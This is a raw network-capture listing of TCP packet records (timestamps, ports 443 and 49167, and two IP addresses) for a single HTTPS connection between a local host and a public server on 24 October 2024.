Oct 24, 2024 08:59:14.856594086 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.857249022 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.857290030 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.857310057 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.857321024 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.857369900 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.857372046 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.857383966 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.857429981 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.858073950 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.858122110 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.858170033 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.858176947 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.873792887 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.873858929 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.873866081 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.875793934 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.875854969 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.875863075 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.892338037 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.892379999 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.892412901 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.892445087 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.892519951 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.892520905 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.892539978 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.892601967 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.892963886 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.893014908 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.893073082 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.893086910 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.894692898 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.894754887 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.894768000 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.894932032 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.894990921 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.895003080 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.899305105 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.899379015 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.899384975 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.899401903 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.899457932 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.899470091 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.907476902 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.907531023 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.907553911 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.907566071 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.907618046 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.907629013 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.917321920 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.917409897 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.917429924 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.924479008 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.924557924 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.924590111 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.924770117 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.924834967 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.924849033 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.934195042 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.934259892 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.934273958 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.951598883 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.951641083 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.951673031 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.951693058 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.951759100 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.952107906 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.952171087 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.952230930 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.952241898 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.952737093 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.952786922 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.952810049 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.952822924 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.952869892 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.952877998 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.952904940 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.952959061 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.953198910 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.993031025 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.993077993 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.993185043 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.993247986 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:14.993314981 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:14.993963003 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.009320021 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.009378910 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.009398937 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.009417057 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.009476900 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.009711981 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.010061026 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.010102987 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.010109901 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.010129929 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.010183096 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.010305882 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.011776924 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.011821032 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.011835098 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.012109041 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.012151957 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.012154102 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.012168884 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.012217045 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.012499094 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.017096996 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.017151117 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.017152071 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.017172098 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.017227888 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.017241955 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.017297029 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.017335892 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.017349958 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.021883011 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.021976948 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.024813890 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.024904966 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.024943113 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.024964094 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.024977922 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.025043964 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.034477949 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.041615963 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.041706085 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.041799068 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.041825056 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.041886091 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.051235914 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.051455975 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.051528931 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.051544905 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.069483042 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.069534063 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.069561958 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.069576025 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.069627047 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.069636106 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.069663048 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.069719076 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.069730043 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.070142031 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.070207119 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.070219040 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.070486069 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.070530891 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.070558071 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.070569992 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.070621967 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.070645094 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.070658922 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.070708036 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.108620882 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.110491037 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.110543013 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.110639095 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.110701084 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.110866070 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.127165079 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.127254963 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.127296925 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.127346992 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.127368927 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.127383947 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.127427101 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.127644062 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.127681017 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.127701998 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.127731085 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.127798080 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.129198074 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.129390001 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.129435062 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.129456997 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.129472017 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.129537106 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.129765987 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.129846096 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.129906893 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.129920006 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.133358002 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.133402109 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.133424997 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.133439064 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.133502007 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.133585930 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.133829117 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.133888006 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.133902073 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.141973019 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.142039061 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.142051935 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.142257929 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.142313004 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.142326117 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.152185917 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.152256966 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.152270079 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.168529987 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.168689966 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.168703079 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.168973923 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.169015884 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.169039011 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.169050932 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.169118881 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.186559916 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.186655045 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.186697960 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.186722040 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.186739922 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.186789989 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.186894894 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.186908960 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.186970949 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.187351942 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.187693119 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.187732935 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.187760115 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.187772036 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.187817097 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.187829971 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.187848091 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.187896967 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.188204050 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.225799084 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.225924969 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.225941896 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.227463007 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.227533102 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.227550030 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.243782997 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.243850946 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.243869066 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.244077921 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.244141102 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.244158983 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.244348049 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.244409084 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.244421005 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.244695902 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.244757891 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.244771004 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.246344090 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.246386051 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.246406078 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.246419907 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.246479034 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.246717930 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.246788025 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.246845007 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.246857882 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.247431040 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.247489929 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.247502089 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.250623941 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.250684977 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.250696898 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.250848055 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.250888109 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.250910997 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.250929117 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.250989914 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.259169102 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.259484053 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.259546995 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.259563923 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.259944916 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.260003090 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.260008097 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.260025978 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.260073900 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.260085106 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.268923044 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.269027948 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.269045115 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.286237001 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.286384106 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.286415100 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.286432028 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.286494017 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.286506891 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.306008101 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.306108952 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.306124926 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.306179047 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.306221962 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.306243896 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.306261063 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.306319952 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.306333065 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.306550980 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.306612968 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.306619883 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.306634903 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.306693077 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.306704998 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.307475090 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.307533979 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.307539940 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.307558060 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.307611942 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.342674017 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.342797041 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.342837095 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.342978954 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.342998028 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.343059063 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.344459057 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.360892057 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.360950947 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.361113071 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.361125946 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.361191034 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.361228943 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.361255884 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.361294031 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.361301899 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.361321926 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.361381054 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.362031937 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.363431931 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.363488913 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.363488913 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.363503933 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.363554955 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.363569021 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.363876104 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.363929987 CEST	49167	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:59:15.363944054 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.364510059 CEST	443	49167	142.250.186.97	192.168.2.22
Oct 24, 2024 08:59:15.364538908 CEST	49167	443	192.168.2.22	142.250.186.97
